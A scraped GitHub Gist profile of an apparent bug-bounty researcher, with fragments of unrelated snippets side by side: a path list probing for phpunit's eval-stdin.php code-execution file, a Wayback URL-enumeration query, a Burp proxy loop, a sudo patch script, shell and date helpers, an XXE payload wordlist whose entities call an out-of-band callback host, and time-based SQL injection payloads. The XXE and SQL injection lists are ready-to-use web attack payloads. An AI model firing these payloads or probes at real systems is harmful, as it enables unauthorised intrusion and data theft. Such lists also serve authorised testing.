Skip to content

Instantly share code, notes, and snippets.

View Sy3Omda's full-sized avatar
🎯
Focusing

Emad Youssef Sy3Omda

🎯
Focusing
View GitHub Profile
/_inc/vendor/stripe/stripe-php/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/_staff/cron/php/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/_staff/php/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/~champiot/Laravel E2N test/tuto_laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/~champiot/tuto_laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/1board/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/4walls/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/6p6/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/2018/scholarship/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/2018/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
https://web.archive.org/cdx/search?url=SITE&matchType=prefix&collapse=urlkey&output=txt&fl=original
@Sy3Omda
Sy3Omda / curl_urls_via_burp.ps1
Created June 8, 2021 13:07
curl list of urls in powershell via burp as proxy
foreach($line in [System.IO.File]::ReadLines("D:\1.txt")) {iwr -Uri $line -Method GET -Proxy http://127.0.0.1:8080 | Out-Null}
curl -s https://api.github.com/repos/user/reponame/releases/latest | grep -E 'browser_download_url' | grep linux_amd64 | cut -d '"' -f 4 | wget -qi -
@Sy3Omda
Sy3Omda / echo_with_colors.sh
Created January 30, 2021 10:42 — forked from mvndaai/echo_with_colors.sh
Bash echo with colors
#!/bin/sh
echo-bold(){
echo -e '\e[1m'$1'\e[0m'
}
echo-black(){
#You probably shouldn't use this
echo -e '\e[30m'$1'\e[0m'
}
echo-red(){
@Sy3Omda
Sy3Omda / CVE-2021-3156-patch.sh
Created January 30, 2021 08:51
CVE-2021-3156 patch
wget --progress=bar https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz
tar xzvf sudo-1.9.5p2.tar.gz
cd sudo-1.9.5p2
./configure
make && sudo make install
bash -c "sudo --version"
@Sy3Omda
Sy3Omda / .conkyrc
Created January 3, 2021 18:00 — forked from jeffskinnerbox/.conkyrc
Conky configuration file
# --------------------------------------------------------------------------------------------- #
#
# .conkyrc - derived from various examples across the 'net
#
# Some of the sites that proved most usful include:
# http://mylinuxramblings.wordpress.com/2010/03/23/how-to-configure-the-conky-system-monitor/`
# http://crunchbanglinux.org/wiki/conky
# http://lusule.wordpress.com/2008/08/07/how-to-4/
#
# --------------------------------------------------------------------------------------------- #
@Sy3Omda
Sy3Omda / xxe-payloads.txt
Created September 14, 2020 16:52 — forked from honoki/xxe-payloads.txt
XXE bruteforce wordlist
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y
Format options Purpose of Option Output
date +%a Displays Weekday name in short (like Mon, Tue, Wed) Thu
date +%A Displays Weekday name in full short (like Monday, Tuesday) Thursday
date +%b Displays Month name in short (like Jan, Feb, Mar ) Feb
date +%B Displays Month name in full short (like January, February) February
date +%d Displays Day of month (e.g., 01) 07
date +%D Displays Current Date; shown in MM/DD/YY 02/07/13
date +%F Displays Date; shown in YYYY-MM-DD 2013-02-07
date +%H Displays hour in (00..23) format 23
date +%I Displays hour (01..12) format 11
sleep(5)#
1 or sleep(5)#
" or sleep(5)#
' or sleep(5)#
" or sleep(5)="
' or sleep(5)='
1) or sleep(5)#
") or sleep(5)="
') or sleep(5)='
1)) or sleep(5)#